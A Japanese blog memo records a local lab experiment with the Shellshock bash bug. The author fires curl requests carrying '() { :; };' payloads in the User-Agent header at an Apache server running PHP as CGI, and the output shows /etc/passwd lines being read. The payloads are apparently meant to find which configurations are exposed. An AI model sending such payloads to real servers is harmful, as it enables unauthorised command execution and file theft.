実験メモ
Fri Oct 3 20:30:09 JST 2014 (modified: Sun Oct 1 10:50:27 JST 2017)
views: 1796, keywords:CLI,こっそり置いておく この記事は最終更新日が7年以上前のものです。
何の実験かは・・・あれですね・・・。
こういうファイルを準備。
root@localhost httpd]# cat /var/www/html/index.php
[#!/usr/bin/env php
<?php
system('date');
?>
httpd.confのOptionsのところにExecCGIを追加し、 下にAddHandlerを書く。
Options Indexes FollowSymLinks ExecCGI
AddHandler cgi-script php
ホームの下にファイルを準備
ueda@localhost ~]$ ls -l mysecret
[-rw-rw-r--. 1 ueda ueda 13 10月 3 20:07 2014 mysecret
ueda@localhost ~]$ cat mysecret
[ 私の秘密
外側からcurlでつっつく。ポートフォワードでhttp://localhost:8888からつっつく。
uedambp:~ ueda$ curl -A '() { :; }; /bin/cat /home/ueda/*' http://localhost:8888/index.php
ログを確認。パーミッションで守られている。
root@localhost httpd]# tail error_log
[...
Fri Oct 03 20:19:15 2014] [error] [client 10.0.2.2] /bin/cat:
[Fri Oct 03 20:19:15 2014] [error] [client 10.0.2.2] /home/ueda/*
[Fri Oct 03 20:19:15 2014] [error] [client 10.0.2.2] : Permission denied
[Fri Oct 03 20:19:15 2014] [error] [client 10.0.2.2] [
もう一度突っつく。別のものを。
uedambp:~ ueda$ curl -A '() { :; }; /bin/cat /etc/passwd | /usr/bin/tail -n 3' http://localhost:8888/index.php
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
ueda:x:500:500::/home/ueda:/bin/bash
apache:x:48:48:Apache:/var/www:/sbin/nologin
守られていない・・・。
今度はhttpd.confから追記部分をもう一度削り、index.phpを次のように書き換える。
root@localhost httpd]# cat /var/www/html/index.php
[<?php
system('date');
?>
もう一度突っつく。
uedambp:~ ueda$ curl -A '() { :; }; /bin/cat /etc/passwd | /usr/bin/tail -n 3' http://localhost:8888/index.php
Fri Oct 3 20:27:38 JST 2014
大丈夫。
もう一度CGIモードで。こんなコード。
root@localhost httpd]# cat /var/www/html/index.php
[#!/usr/bin/php
<?php
print("hoge\\n");
?>
uedambp:IPSJ_SHELLSHOCK ueda$ curl -A '() { :; }; /bin/cat /etc/passwd | /usr/bin/tail -n 3' http://localhost:8888/index.php 2> /dev/null
hoge
大丈夫。
これは・・・
root@localhost httpd]# cat /var/www/html/index.php
[#!/usr/bin/php
<?php
system("date");
?>
ダメ。
uedambp:IPSJ_SHELLSHOCK ueda$ curl -A '() { :; }; /bin/cat /etc/passwd | /usr/bin/tail -n 3' http://localhost:8888/index.php 2> /dev/null
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
ueda:x:500:500::/home/ueda:/bin/bash
apache:x:48:48:Apache:/var/www:/sbin/nologin